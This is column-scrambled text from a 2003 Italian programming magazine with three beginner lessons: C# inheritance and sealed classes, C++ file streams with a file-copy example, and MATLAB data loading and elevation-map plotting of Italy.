avere un solo genitore. Il seguente schema, in return cognome;
C#, non è corretto: }

object object }

C#
| |
+- Persona Cittadino -+ Torniamo ora alla classe Studente, che estende
| | Persona:
+- Studente -+
class Studente : Persona
Non è lecito che Studente possa contemporanea- {
mente derivare sia da Persona sia da Cittadino. public string matricola;
In C#, l'ereditarietà multipla non è ammessa.
La nota si rivolge, in particolar modo, ai pro- public void setMatricola(string matricola)
grammatori provenienti dall'ambito di C++, in {
cui è possibile far ricorso all'ereditarietà multi- [Link] = matricola;
pla. }

public string getMatricola()


IMPEDIRE {
L'EREDITARIETA' return matricola;
Quando si realizza una classe, si può desidera- }
re che questa non possa essere successivamente
derivata. }
Per raggiungere lo scopo è possibile ricorrere
alla parola chiave sealed, usata al seguente mo- Inseriamo nel sorgente anche una classe con un Bibliografia
• GUIDA A C#
do: metodo Main() di prova: Herbert Schildt
(McGraw-Hill)
sealed class NomeClasse class Test ISBN 88-386-4264-8
2002
{ {
// ... public static void Main() • INTRODUZIONE A C#
} { Eric Gunnerson
Studente s = new Studente(); (Mondadori Informatica)
ISBN 88-8331-185-X
Una classe dichiarata sealed non potrà avere sot- [Link]("Mario");
2001
toclassi. La verifica è immediata. [Link]("Rossi");
Riprendiamo la classe Persona, e rendiamola [Link]("09204167"); • C# GUIDA PER LO
sealed: [Link]("Nome: " + [Link]()); SVILUPPATORE
Simon Robinson e altri
[Link]("Cognome: " +
Hoepli, 2001
sealed class Persona [Link]()); ISBN 88-203-2962-X
{ [Link]("Matricola: " +
public string nome; [Link]());
public string cognome; }

public void setNome(string nome) }


{
[Link] = nome; Non è più possibile compilare il software:
}
[Link](24,7): error CS0509: "Studente":
public void setCognome(string cognome) impossibile ereditare dalla classe sealed "Persona".
{
[Link] = cognome;
} CONCLUSIONI
Nel corso del prossimo appuntamento ap-
public string getNome() profondiremo ulteriormento il discorso oggi
{ avviato, parlando di costruttori, ridefinizione
return nome; dei metodi e altri argomenti collegati all'eredi-
} tarietà.
Vi aspetto.
public string getCognome() Carlo Pelliccia

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 95
096-099 C++ 4-06-2003 17:23 Pagina 96

C o r s i B a s e G G G G G G G G G G G G G

✓ Accesso ai file

C++ Lo streaming nella


gestione dei File
Nella scorsa puntata abbiamo parlato di stream (flussi) e
di I/O: ora parleremo dell'uso degli stream relativamente
all'impiego dei file.

File sul CD

N
ella puntata precedente abbiamo spiegato cammino). Nonostante questa differenza, però, i
\soft\codice\[Link] come in C++ sia difficile trovare concetti due punti di vista hanno un tratto comune: un file
come "periferica di stampa" o "schermo" può vedersi come sorgente o destinazione di dati,
(tranne nel caso particolare di programmazione pro- così come sono sorgenti o destinazioni di dati una
cedurale in stile "C-like"), questi concetti sono rap- stampante, uno schermo, una tastiera. È proprio
presentati indirettamente da oggetti di un tipo par- questa omogeneità di "utilizzo" che permette di trat-
File sul WEB
[Link] ticolare: gli stream (flussi). Gli stream sono struttura- tare i file usando gli stream. Infatti per l'utilizzo dei
/iopr71/[Link] ti in maniera più adatta alla programmazione ad og- file il C++ mette a disposizione alcune classi molto
getti, il loro utilizzo è trasparente e in linea con l'u- utili, il cui scopo è quello di fornire una interfaccia
tilizzo di qualunque altra classe C++. In particolare, che sia adeguata alla loro manipolazione e omoge-
l'overload dell'operatore di inserimento (<<) in una nea con la filosofia di utilizzo del linguaggio stesso.
classe, ha senso proprio per come è strutturato il Fin'ora, usando gli oggetti cin, cout e cerr (che, come
flusso di I/O in C++. Parlando di file, la situazione detto nella scorsa puntata, sono degli oggetti in sen-
non cambia: usando i flussi, potremo compiere le so stretto, in quanto variabili istanze delle classi
medesime operazioni che eseguiamo solitamente istream ed ostream), abbiamo fatto una ipotesi impli-
con l'I/O standard (cout & cin), usando una sintassi cita: ci andavano bene per l'input e l'output (buffe-
molto simile. Vediamo come. rizzato e non) gli stream da e verso le periferiche
standard del nostro elaboratore. Per nostra fortuna
tali stream standard sono automaticamente definiti
COSA È UN FILE? nel momento in cui includiamo la libreria iostream.h,
Un file è, dal punto di vista del sistema operativo, e sono rappresentati, appunto, dagli oggetti cin, cout
un blocco di byte correlati, registrati nella memoria e cerr. Nel nostro caso però, per avere degli stream
secondaria (i dischi rigidi, ad esempio), cui è asse- da o verso dei file specifici, avremo bisogno di poter
gnato un identificatore univoco. definire adeguatamente e su misura degli stream.
Dal punto di vista dell'utente, un file è un insieme di Dovremo cioè poter specificare che tipo di stream si
informazioni correlate che ha un nome con cui può sta creando (ad esempio, di trasmissione o ricezione
essere richiamato: per l'utente, non esiste modo di di dati), sorgente (o destinazione) dello stream, ma
archiviare dati se non all'interno di file. anche alcuni parametri che sono il riflesso delle pro-
Dovrebbe già essere evidente la differenza di inter- prietà che un file può avere in un filesystem (file di
pretazione del significato di un file: ad esempio, per sola lettura, nascosti, protetti ecc.). La classe che in
noi un file potrebbe essere un file di testo che con- C++ si occupa di fornirci stream da e verso file è la
tiene (secondo regole di formattazione scelte da noi) classe fstream (file stream).
i dati della nostra rubrica telefonica, mentre per un Essa ha, analogamente alla classe ios, due classi de-
programma un file è una porzione di memoria, un rivate, che ne rappresentano una specializzazione, e
insieme di byte quindi, non necessariamente conti- che sono:
gua (ad esempio potrebbe essere organizzata secon-
do un meccanismo analogo a quello delle liste colle- • ifstream (input file stream): è la classe che si
gate, che abbiamo già incontrato lungo il nostro occupa di creare uno stream di input da un file;

96 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
096-099 C++ 4-06-2003 11:03 Pagina 97

E E E E E E E E E E E E E C o r s i B a s e

• ofstream (output file stream): è la classe com- file e, ad esempio, la stampa a schermo tramite l'i-
plementare della precedente, in quanto si occu- struzione:
pa di creare uno stream di output verso un file.
cout << "pippo\n";
La differenza tra questi tipi di stream è che con if-

C++
stream si accede ad un file in modalità di lettura (lo e questo è indubbiamente un bel vantaggio per il
si considera cioè come una sorgente di dati), con of- programmatore. Come controprova si può tentare
stream si accede ad un file in modalità di scrittura di aprire il nuovo file creato con un normale editor
(una destinazione per i dati), mentre con fstream non di testo e verificare il suo effettivo contenuto. Per
c'è alcuna specializzazione relativamente ad input quanto riguarda la seconda modalità di accesso a fi-
ed output. L'uso di un tipo al posto di un altro di- le tramite stream, utilizzando la funzione open(), la
penderà dal contesto di utilizzo dei file. Per poter situazione si presenta più o meno come la seguente:
utilizzare le classi fstream, ifstream e ofstream bisogna
includere il file header <fstream.h>. //creo l'oggetto stream
fstream pluto;
//lo apro
USO DI FSTREAM, [Link]("[Link]",ios::out);
IFSTREAM, OFSTREAM //ci scrivo sopra
Le operazioni più comuni che vengono compiute pluto << "pluto\n";
sui file (creazione e cancellazione a parte) sono gli
accessi in lettura e gli accessi in scrittura. La firma della funzione open() qui utilizzata è la se-
Per avere degli opportuni stream verso file, ci sono guente:
due strade percorribili:
void fstream::open(const char* filename, openmode mode);
• si crea un oggetto stream usando un costruttore
specifico che richiede come argomento il nome Le modalità secondo le quali un file può essere Stream
Con ifstream si
del file; aperto sono specificate dal parametro mode. Tale pa- accede ad un file
rametro è di un tipo enumerato, definito all'interno in modalità di lettura
• si crea un oggetto stream usando il costruttore della classe ios, chiamato openmode; alcuni suoi valo- (lo si considera cioè co-
senza argomenti, quindi si fa uso della funzione ri tipici sono: me una sorgente di da-
ti), con ofstream si ac-
di classe open(), che si occupa di aprire uno cede ad un file in mo-
stream prendendo come argomenti il nome del • ios::in: apertura in input; dalità di scrittura (una
file e le opzioni di apertura. destinazione per i da-
ti), mentre con fstream
• ios::out: apertura in output (si considera il file
non c'è alcuna specia-
La prima delle due alternative è di solito preferibile come fosse vuoto, a meno che non si specifichi- lizzazione relativamen-
quando le operazioni di apertura siano "saltuarie" no altre proprietà); te ad input ed output.
(di solito quando vengono eseguite una sola volta,
all'inizio), mentre la seconda è utile qualora gli ac- • ios::app: apertura in modalità "append" (cioè, si
cessi previsti ai file siano ripetuti, magari in tempi aggiungono i nuovi dati a partire dalla fine del
diversi: infatti così facendo si evita di reistanziare file).
per ogni operazione il relativo oggetto stream.
Un esempio di utilizzo del primo modo è il se- • ios::nocreate: non crea il file che sta aprendo
guente: (cioè la richiesta fallisce se il file non è già esi-
stente)
//creo l'oggetto stream e lo apro
ofstream pippo("[Link]"); • ios::noreplace: non rimpiazza il file che sta
aprendo (è il contrario della precedente: la ri-
//scrivo sul file chiesta fallisce se il file è già esistente)
pippo << "pippo\n";
(per una lista completa, conviene considerare una
Abbiamo istanziato un oggetto ofstream (e quindi un reference). Essendo tali parametri definiti nell'ambi-
file di scrittura) e contestualmente all'istanziazione to della classe ios, è necessario specificare il relativo
dell'oggetto pippo abbiamo "aperto" il relativo namespace (spazio dei nomi).
stream. Questo ci consente di potere usare lo stream Un modo per fare questo è anteporre il nome della
in questione immediatamente. Infatti l'istruzione classe in questione (ios) seguito dall'operatore di
successiva è una istruzione di inserimento effettua- scope resolution "::". Da notare che tali parametri, se
ta tramite l'operatore "<<". Da notare che, come ac- compatibili, possono anche essere specificati in
cennato in precedenza, non esiste alcuna distinzio- gruppo (cioè in due o più insieme), tramite l'opera-
ne concettuale tra l'istruzione di inserimento in un tore "|" di OR binario. Ad esempio:

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 97
096-099 C++ 4-06-2003 11:04 Pagina 98

C o r s i B a s e G G G G G G G G G G G G G

fstream ziopaperone; ca che non supporta la scrittura (ad es. un letto-


[Link]("[Link]", ios::out|ios::app); re CD-Rom);

indica al programma di aprire un file in scrittura ini- • si sta tentando di salvare un file su una periferi-
ziando a scrivere i nuovi dati dalla fine dei dati già ca dove lo spazio è esaurito.

C++
presenti nel file (non c'è quindi perdita di dati pree-
sistenti). Per le classi ifstream ed ofstream, la open() Insomma i motivi per cui l'operazione di apertura di
ha praticamente la stessa firma, l'unica differenza è uno stream può non andare per il verso giusto sono
che il parametro mode è opportunamente inizializ- innumerevoli. Per questo è necessario porre un con-
zato (ad in per la classe ifstream, e a out per la classe trollo su quello che avviene immediatamente dopo
ofstream) nella definizione della funzione, in questo l'istruzione che richiede il servizio desiderato al si-
modo è possibile non specificarlo ed usare la open() stema operativo.
ad un solo parametro, in modo più intuitivo, come Tale verifica è molto semplice, e può essere compiu-
visibile nel seguente esempio: ta in due modi:

ofstream minnie; a) usando l'operatore NOT "!";


[Link]("[Link]");
b) usando la funzione is_open().
In questo caso ci accontentiamo di avere tutte le ca-
ratteristiche di apertura inizializzate con i valori Le verifiche sono simili al codice che segue:
standard. Ad esempio il fatto che si apra un ofstream
indica esplicitamente che la modalità di apertura //modalita' a)
del file è ios::out. Qualora si debba accedere a due fi- ofstream paperino("[Link]");
le contemporaneamente si devono creare necessa- if (!paperino)
riamente due oggetti stream diversi: questo è ovvio cerr << "Impossibile aprire il file [Link]!\n");
se immaginiamo (astraendo) uno stream come un else { /** utilizza "paperino" qui **/ }
Close() canale di trasmissione; se usassimo, ad esempio, //modalita' b)
La presenza della uno stesso stream di input per due file contempora- ofstream paperina("[Link]");
funzione open()
neamente, come potremmo distinguere i dati prove- if (!paperina.is_open())
avrà fatto sicuramente
pensare al lettore più nienti da un file da quelli provenienti dall'altro? cerr << "Impossibile aprire il file [Link]!\n");
attento della possibile else { /** utilizza "paperina" qui **/ }
presenza di una fun-
zione complementare,
per la chiusura dello
CONTROLLO E CHIUSURA La presenza della funzione open() avrà fatto sicura-
stream. In effetti que- Una volta aperto uno stream associato a un file, mente pensare al lettore più attento della possibile
sta funzione esiste e si dobbiamo assicurarci che tutto sia andato a buon fi- presenza di una funzione complementare, per la
chiama, in maniera per ne: infatti l'apertura di un file è un'operazione che chiusura dello stream. In effetti questa funzione esi-
niente sorprendente,
close().
richiede necessariamente un passaggio al sistema ste e si chiama, in maniera per niente sorprendente,
operativo (passaggio a noi trasparente), e non è det- close().
to che questa interazione vada come ci aspettiamo La close() serve a chiudere uno stream precedente-
che vada. I problemi che possono presentarsi sono mente aperto; per chiusura si intende la comunica-
molteplici, ad esempio: zione al sistema operativo del fatto che il nostro pro-
gramma non ha più bisogno del file associato allo
• non si ha il permesso di aprire il file; stream in questione, e pertanto tale file può essere
utilizzato per altri scopi.
• non si ha il permesso di scrivere sul file; È sempre buona norma chiudere ogni stream che si
apre. Questo non solo per il rispetto di una logica
• si sta tentando di aprire in modalità esclusiva di ferrea di programmazione, ma anche (e soprattutto)
lettura un file già aperto da un altro programma; per una serie di motivi pratici. Tali motivi sono prin-
cipalmente di efficienza globale del sistema sul qua-
• si sta tentando di aprire in scrittura un file già le il nostro software è utilizzato. Il bravo program-
aperto da un altro programma; matore è sempre molto attento a utilizzare solo le ri-
sorse di cui ha bisogno e solo per il tempo stretta-
• si sta tentando di aprire, senza crearlo, un file mente necessario.
che non esiste; Rilasciare l'uso di un file quando non se ne ha più
bisogno permette ad altre applicazioni di accedere a
• si sta tentando di salvare, senza rimpiazzarlo, un quello stesso file, o anche (e capita spesso) alla no-
file che già esiste; stra stessa applicazione (che magari utilizza più th-
read di elaborazione) di sfruttare in maniera effi-
• si sta tentando di salvare un file su una periferi- ciente le risorse e quindi avere un notevole incre-

98 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
096-099 C++ 4-06-2003 11:04 Pagina 99

E E E E E E E E E E E E E C o r s i B a s e

mento di prestazioni. L'utilizzo del funzione close() }


è quanto di più intuitivo si possa immaginare: //apro il file destinazione
ofstream destinazione(argv[2]);
//apro il flusso if (!destinazione) {
ofstream topolino("[Link]"); cerr << "Errore nell'apertura di " << argv[2] << "\n";

C++
return 0;
//controllo la corretta apertura }
if (!topolino) //copio sorgente su destinazione: uso eof()
cerr << "Errore nell'apertura di [Link]\n"; int fine = [Link]();
else { while (!fine) {
//stream aperto correttamente: lo utilizzo char c;
topolino << "Ciao! Io sono Topolino!\n"; [Link](c);
if (![Link]())
//chiudo lo stream [Link](c);
[Link](); else
} fine = [Link]();
}
L'esempio appena mostrato non ha una struttura //chiudo gli stream
del tutto casuale. Anzi, esso segue esattamente ciò [Link]();
che dovrebbe essere la scaletta-tipo per l'apertura e [Link]();
il corretto utilizzo di qualunque tipo di file. return 1;
Tale struttura si può riassumere così: }

1. creazione del flusso come si può vedere il programma non fa altro che
leggere un byte per volta dal file sorgente (me-
2. apertura del flusso (tramite open()) diante una variabile di tipo char) e scriverlo sul file
destinazione.
3. controllo del flusso (tramite operatore NOT) Per fare questo si utilizzano le funzioni get() e put()
Contatta
che trattano i byte in maniera raw (grezza); utiliz-
gli autori!
4. chiusura del flusso (appena possibile, tramite la zare i normali operatori di inserimento ed estrazio- Se hai suggerimenti,
close()) ne (>> e <<) significherebbe perdersi tutti i caratte- critiche, dubbi o per-
ri che non sono considerati da questi operatori (ad plessità sugli argo-
menti trattati e vuoi
dove ovviamente i passi 1 e 2 possono essere ese- esempio quelli non alfanumerici, oppure lo spa- proporle agli autori
guiti contemporaneamente, nel modo che abbiamo zio). Questo ciclo di elaborazione si interrompe puoi scrivere agli indi-
visto in precedenza. quando si arriva alla fine del file sorgente; questa rizzi:
Un’ultima cosa che può risultare utile riguardo l'u- condizione è verificata appunto con la funzione
[Link]@[Link]
tilizzo dei file è la funzione eof() (end of file = fine del eof(). e
file) che è molto spesso utilizzata all'interno dei cicli marcodelgobbo@[Link]
per determinare la condizione di uscita. Illustriamo
il suo utilizzo all'interno di quest'ultimo esempio CONCLUSIONI Questo contribuirà si-
curamente a migliora-
che riporta un programmino completo, molto sem- In questa lezione abbiamo dato una veloce panora- re il lavoro di stesura
plice, che effettua la copia di un file: mica sugli aspetti riguardanti l'utilizzo di file tra- delle prossime punta-
mite le caratteristiche standard del C++. Tali carat- te.
#include <iostream.h> teristiche permettono di scrivere codice altamente
#include <fstream.h> orientato agli oggetti e, soprattutto, portabile da
una piattaforma all'altra.
int main(int argc, char* argv[]) { Ogni sistema operativo ha infatti le sue API (Appli-
//controllo del numero di argomenti cation Programming Interface) e queste, nella quasi
if (argc != 3) { totalità dei casi, permettono anche l'utilizzo di fun-
cerr << "Utilizzo: " << argv[0] << " <sorgente> zioni specifiche per l'accesso ai file. Queste funzio-
<destinazione>\n"; ni tuttavia sono specifiche del sistema operativo
return 0; stesso, quindi un eventuale porting del codice ri-
} chiederebbe la riscrittura della parte relativa all'ac-
cesso ai file, cosa che potrebbe rivelarsi non del tut-
//apro il file sorgente to banale.
ifstream sorgente(argv[1]); Insomma: usate gli stream per l'accesso ai file e sa-
if (!sorgente) { rete sicuri di avere fatto la cosa migliore!
cerr << "Errore nell'apertura di " << argv[1] << "\n"; Noi ci vediamo alla prossima.
return 0; Alfredo Marroccelli e Marco Del Gobbo

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 99
100-104 Matlab 5-06-2003 16:32 Pagina 100

C o r s i B a s e G G G G G G G G G G G G G

✓ Accesso ai dati e loro manipolazione.


MATLAB
In volo
sull’Italia
I sistemi di calcolo evoluti devono fornire funzionalità
evolute per accedere in maniera efficiente a grandi masse
di dati e poi essere in grado di manipolarli con efficienza.

File sul CD LETTURA E SCRITTURA


I
n campo scientifico e tecnico vi è sempre stata la ne-
\soft\codice cessità di manipolare un grande numero di dati. Ve- Per molti utenti le funzioni MATLAB load e save forni-
\[Link]
rificare un’ipotesi richiede che si esaminino misura- scono sufficienti mezzi per caricare e salvare i dati. Esse
zioni, si facciano numerose simulazioni e si producano presuppongono che i dati siano memorizzati in un for-
File sul Web altri dati in quantità considerevole che ci consentano di mato binario indipendente dalla piattaforma con il no-
[Link]
confermare o confutare l’ipotesi di partenza. I sistemi di me di file di estensione “.mat”. Ma possono essere usa-
/ioProg71/[Link]
calcolo evoluti devono necessariamente avere questo ti- te per leggere e scrivere anche dati in ASCII specifican-
po di approccio e questa volta vedremo proprio come in do un semplice argomento tra quelli richiesti dalla fun-
MATLAB sia possibile fare questo. Prenderemo ad zione nella sua sintassi. MATLAB fornisce anche le fun-
esempio i dati che descrivono l’andamento della super- zioni di I/O di basso livello basate sul linguaggio C.
ficie dell’Italia tratti dal NOAA (National Oceanic and At- Usando queste funzioni, MATLAB è in grado di legge-
mospheric Administration, [Link]. gov) e li useremo re e scrivere qualunque formato di file. [1]
per descrivere alcune funzioni di lettura dei dati, quin- Supponiamo di possedere un file che riporti i dati dei
di scopriremo alcune maniere per manipolarli per otte- satelliti gioviani e che debba apparire come segue (gio-
nere rappresentazioni grafiche interessanti; verremo [Link] nel CD che accompagna la rivista) Tab. 1.
Note per la prima volta in contatto con alcune funzionalità di I dati che ci interessano sono i nomi dei satelliti, la loro
Le funzioni defi-
visualizzazione particolarmente utili quando si possie- distanza dal pianeta, il periodo in giorni, l’inclinazione
nite dall’utente
vengono usate in tutto dono dati in grande quantità e che possiedono pro- della loro orbita sul piano dell’orbita del pianeta e l’ec-
e per tutto come quel- prietà non banali. centricità dell’orbita. Ne segue che non tutti i dati sono
le native dell’ambien-
te MATLAB.
Distance O_Period
Name # Orbits (000 km) (days) Incl Eccen Discoverer Date
Metis XVI Jupiter 128 0.29 0.00 0.00 Synnott 1979
Adrastea XV Jupiter 129 0.30 0.00 0.00 Jewitt(1) 1979
Amalthea V Jupiter 181 0.50 0.40 0.00 Barnard 1892
Thebe XIV Jupiter 222 0.67 0.80 0.02 Synnott 1979
Io I Jupiter 422 1.77 0.04 0.00 Galileo(2) 1610
[1] Europa II Jupiter 671 3.55 0.47 0.01 Galileo(2) 1610
>> help iofun Ganymede III Jupiter 1070 7.15 0.19 0.00 Galileo(2) 1610
Callisto IV Jupiter 1883 16.69 0.28 0.01 Galileo(2) 1610
Leda XIII Jupiter 11094 238.72 27.00 0.15 Kowal 1974
Himalia VI Jupiter 11480 250.57 28.00 0.16 Perrine 1904
Lysithea X Jupiter 11720 259.22 29.00 0.11 Nicholson 1938
Elara VII Jupiter 11737 259.65 28.00 0.21 Perrine 1905
Ananke XII Jupiter 21200 -631 147.00 0.17 Nicholson 1951
Carme XI Jupiter 22600 -692 163.00 0.21 Nicholson 1938
Pasiphae VIII Jupiter 23500 -735 147.00 0.38 Melotte 1908
Sinope IX Jupiter 23700 -758 153.00 0.28 Nicholson 1914

100 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
100-104 Matlab 31-05-2003 10:43 Pagina 101

E E E E E E E E E E E E E C o r s i B a s e

utili e, inoltre, dobbiamo essere sicuri di saltare le pri- Grand total is 179 elements using 1670 bytes
me tre righe che contengono soltanto le intestazioni. La
struttura di questo file è sufficientemente regolare per Oltre a load e alla save, MATLAB mette a disposizione
poter usare la funzione textread che opera una semplice una serie di funzioni simili a quelle C per la lettura e
scansione del file per colonne saltando un certo nume- scrittura di file ASCII e binari. Tali funzioni si rivelano

MATLAB
ro di linee di intestazione. particolarmente utili per leggere file testo formattati e
[2] più in generale quando i dati non sono organizzati co-
>> [nome num pianeta dist periodo incl eccen scopritore me matrici. Le principali funzioni disponibili sono:
data] = textread('[Link]','%s %s %s %f %f %f %f [3]

%s %f','headerlines',3) • fscanf , fread


nome = • fprintf, fwrite
'Metis' • fopen, fclose, fseek, ftell, frewind
'Adrastea'
'Amalthea' Per avere maggiori conoscenze su queste funzioni,
… MATLAB mette a disposizione un insieme di informa-
>> whos zioni maggiormente dettagliato e completo del sempli-
Name Size Bytes Class ce help. La funzione doc richiama una applicazione che
data 16x1 128 double array gestisce un’ampia documentazione riguardante routine
dist 16x1 128 double array di ogni genere (>> doc nomefunzione).
eccen 16x1 128 double array
incl 16x1 128 double array [2]
nome 16x1 1158 cell array MANIPOLAZIONE Per una lista

num 16x1 1036 cell array E TRASFORMAZIONE completa degli


specificatori di for-
periodo 16x1 128 double array Ora che abbiamo appreso alcuni modi per accedere ai mati vedere l’help
pianeta 16x1 1184 cell array file di dati, mettiamo in pratica queste informazioni. Il della funzione tex-
scopritore 16x1 1224 cell array nostro scopo è quello di visualizzare una superficie tread.

Grand total is 525 elements using 5242 bytes complessa. Abbiamo scelto per questo scopo la superfi-
cie dell’Italia misurata su una griglia uniforme di lato
Vediamo comparire in workspace i nostri dati e notia- pari a 10 km. Il primo passo da eseguire sarà quello del
mo che abbiamo array di celle (cell array) che avevamo caricamento seguito immediatamente da una prima vi-
brevemente esaminato in numeri precedenti. Basti sa- sualizzazione che ci consente di apprezzare il contenu-
pere che essi sono raccolte di elementi che possono non to dei dati:
essere omogenei tra loro (infatti, le stringhe in essi con- [4]

tenute sono di lunghezza differente, cosa che sarebbe >> load italy
[3]
impossibile fare all’interno di una singola matrice). >> hold on
>> doc fscanf
Mentre invece i numeri sono stati creati come vettori >> hs = surf(italy, 'facecolor', 'interp');
colonna. Notiamo soltanto che abbiamo dovuto specifi- >> set(hs, 'EdgeColor', 'none');
care con accuratezza il tipo di dato che andavamo a leg- >> axis ij
gere per mezzo di uno specificatore di formato. L’ulti-
ma operazione che dobbiamo fare ora è effettivamente per mezzo del comando whos scopriamo rapidamente
sbarazzarci di quelle variabili che non ci interessa man- che la matrice dei dati di elevazione possiede 180 righe
tenere. Per eliminare una variabile dal workspace è ne- e 180 colonne (32400 elementi). La Fig. 1 mostra i risul-
cessario utilizzare il comando clear. tati di queste operazioni. Notiamo immediatamente
due cose: la mappa dei colori non ci consente di distin-
>> clear data
[4]
>> help axis
Se diamo un’occhiata al workspace con whos ci accor-
ci aiuta e com-
giamo che MATLAB ha rimosso la variabile ed ha quin- prendere la sua fun-
di liberato la memoria da essa occupata. Il comando zione.
clear accetta anche una lunga lista di variabili.

>> clear num pianeta scopritore


>> whos
Name Size Bytes Class
dist 16x1 128 double array
eccen 16x1 128 double array
incl 16x1 128 double array
nome 16x1 1158 cell array Fig. 1: Mappa in falsi colori dell’elevazione del
periodo 16x1 128 double array terreno italiano. Provate a ruotare l’immagine.

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 101
100-104 Matlab 31-05-2003 10:44 Pagina 102

C o r s i B a s e G G G G G G G G G G G G G

guere tra le terre emerse ed il fondo del mare e abbiamo grado di disegnarla avremo un modo alternativo per
il sospetto che le vette più alte delle Alpi siano più bas- capire il confine tra terra e acqua:
se della realtà. D’altronde se ripensiamo a quanto sia [6]

ampia la maglia della griglia usata per le misurazioni >> [c,h0] = contour3(italy, [0 0], 'r');
comprendiamo bene che è estremamente improbabile >> set(h0, 'LineWidth', 2)
che la cima di una montagna possa essere centrata con
MATLAB sufficiente accuratezza. Ne abbiamo una conferma di- In questo modo vediamo comparire una linea che dise-
retta eseguendo un semplice calcolo: gna le forme a noi tutti note delle coste di questa por-
[5] zione di mare Mediterraneo. Se volessimo ora com-
>> max(max(italy)) prendere quale sarebbe l’effetto di una salita della su-
ans = perficie del mare pari a 20 metri non dovremmo fare al-
3902.00 tro che:

Sappiamo che non potremo fare in modo che i dati >> [c,h20] = contour3(zi, [20 20], 'y');
“mancanti” siano “reinventati” da un algoritmo mate- >> set(h20, 'LineWidth', 2)
matico. Ma dalle considerazioni fatte sui numeri prece-
denti sappiamo che possiamo agire in differenti manie- e vedremmo comparire una linea gialla (‘y’, yellow) che
re per migliorare la situazione: per esempio, infittendo delimita la nuova linea di costa. In Fig. 2 è possibile ve-
la griglia. Questo ci consente di rendere la superficie dere l’effetto di questi comandi.
meglio definita e meno “spigolosa”.

INTERPOLAZIONE 2D
Proviamo a risolvere il primo problema per mezzo di
[5]
La funzione max un’interpolazione che ci restituisca una superficie me-
trova l’elemento glio definita:
massimo di ogni co-
lonna quando é appli-
>> [r,c] = size(italy);
cata ad una matrice.
>> [xi,yi] = meshgrid(1:0.5:r, 1:0.5:r);
>> zi = interp2(1:r, 1:r, italy, xi, yi, ’cubic’);
>> close all
>> hold on
>> hs=surf(zi, 'facecolor', 'interp');
>> set(hs, 'EdgeColor', 'none'); Fig. 2: Ingrandimento di una porzione della
>> axis ij superficie.

Questo semplice codice crea per mezzo di meshgrid una Dopo questa breve deviazione, torniamo al problema
griglia di coordinate che è più fitta di quella di parten- originale: in MATLAB è possibile cambiare la mappa
za (in realtà viene aggiunto un punto al centro dell’in- dei colori per mezzo di una funzione chiamata color-
tervallo tra i due punti originali). Quindi la funzione in- map. In una porzione di:
terp2 si occupa di calcolare i valori nei nuovi punti
[6] (xi,yi) a partire da quelli esistenti (1:r,1:r,italy). Questi >> help graph3d
La funzione con- nuovi livelli di elevazione del terreno vengono poi uti-
tour3 crea curve lizzati esattamente come prima per visualizzare una su- troviamo le mappe di colore standard che è possibile
di livello basate su
perficie analoga. L’interpolazione viene eseguita per usare in maniera nativa in MATLAB. Se ora usassimo
superfici.
mezzo di tratti di polinomi di terzo grado (cubic) per una di queste colormap sui nostri dati otterremmo su-
rendere la superficie più regolare e levigata. perfici colorate differentemente. Provate, per esempio,
con:

MAPPE COLORE, FIND >> colormap(‘gray’)


E INDICIZZAZIONE LOGICA
Il secondo problema che abbiamo è quello della asso- e troverete una maniera interessante di colorare le vo-
ciazione di appropriati colori a determinate elevazioni stre superfici. Tutto questo però non ci aiuta, perché è
del terreno che ci facciano comprendere visivamente comprensibile che MATLAB non conosca le nostre in-
quale sia l’andamento del terreno o del fondo del mare tenzioni e non sappia che vogliamo distinguere le terre
in maniera intuitiva. Prima di fare questo possiamo ese- emerse dai mari. Inoltre noi siamo abituati a vedere i
guire un’operazione intermedia: tentiamo di visualiz- mari di colore azzurro, mentre la terra è normalmente
zare dove sia la linea di costa. Sappiamo che questa de- verde che sfuma in marrone sui monti per sfumare an-
ve trovarsi ad un’elevazione pari a zero e se fossimo in cora in bianco sulle cime delle montagne più alte. Per

102 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
100-104 Matlab 31-05-2003 10:44 Pagina 103

E E E E E E E E E E E E E C o r s i B a s e

fare questo dobbiamo crearci una nostra mappa di co- stesso tempo più potenti di MATLAB. In una sola linea
lori da utilizzare come una tavolozza con la quale an- riesco a modificare i valori presenti negli elementi di
dremo poi a colorare la nostra superficie. Nello script “cdata” puntati dagli indici presenti in a o b per mezzo
chiamato mappacolori.m potete trovare una definizione delle espressioni che stanno a destra dell’uguale. E tut-
di mappa di colori RGB (Red Green Blue) per mezzo di to questo senza immaginarsi complicati cicli e condi-

MATLAB
una matrice di n righe e tre colonne. Ogni riga è una co- zioni. Infine, esiste una proprietà delle superfici (acces-
lore RGB e la mappa è stata creata in tre zone di colore: sibile per mezzo del suo handle, hs) che ci consente di
la prima è formata da 101 elementi ed è una serie di sfu- descrivere la colorazione di una superficie. Questa pro-
mature di blu, mentre la seconda è verde e la terza è un prietà deve contenere una matrice di dimensioni iden-
marrone che va schiarendosi verso il bianco. Le tre por- tiche a quella rappresentata in modo da associare ogni
zioni vengono quindi accodate a formare una sola va- elemento visualizzato con un preciso indice all’interno
riabile chiamata topomap. Questi dati ci sono preziosi e di una mappa di colori. Finalmente, l’ultima linea spe-
per questo decidiamo di farne un file che potremo an- cifica a quale mappa riferirsi con gli indici presenti in
che riutilizzare in futuro. Usiamo una funzione di cui cdata. Potremmo riassumere il concetto dicendo che
abbiamo detto in precedenza ma non abbiamo mai usa- memorizziamo in cdata il numero di colore che trovia-
to direttamente: mo nel catalogo dei colori messo a disposizione da to-
pomap. Facciamo ancora un piccolo passo che ci condu-
>> save mappacol topomap ce ad una visualizzazione ancora più utile perché ci
consente di apprezzare maggiormente i dettagli.
Questo comando salva nel file binario mappacol (de-
fault) la variabile topomap. Ora che possediamo una >> light('position',[0 100 10000])
mappa soddisfacente dobbiamo usarla per colorare la >> lighting phong [7]
nostra superficie. Il codice che opera questa trasforma- >> set(gcf,'Renderer','zbuffer') Le funzioni fix e
zione e; il seguente: >> hold off ceil, rispettiva-
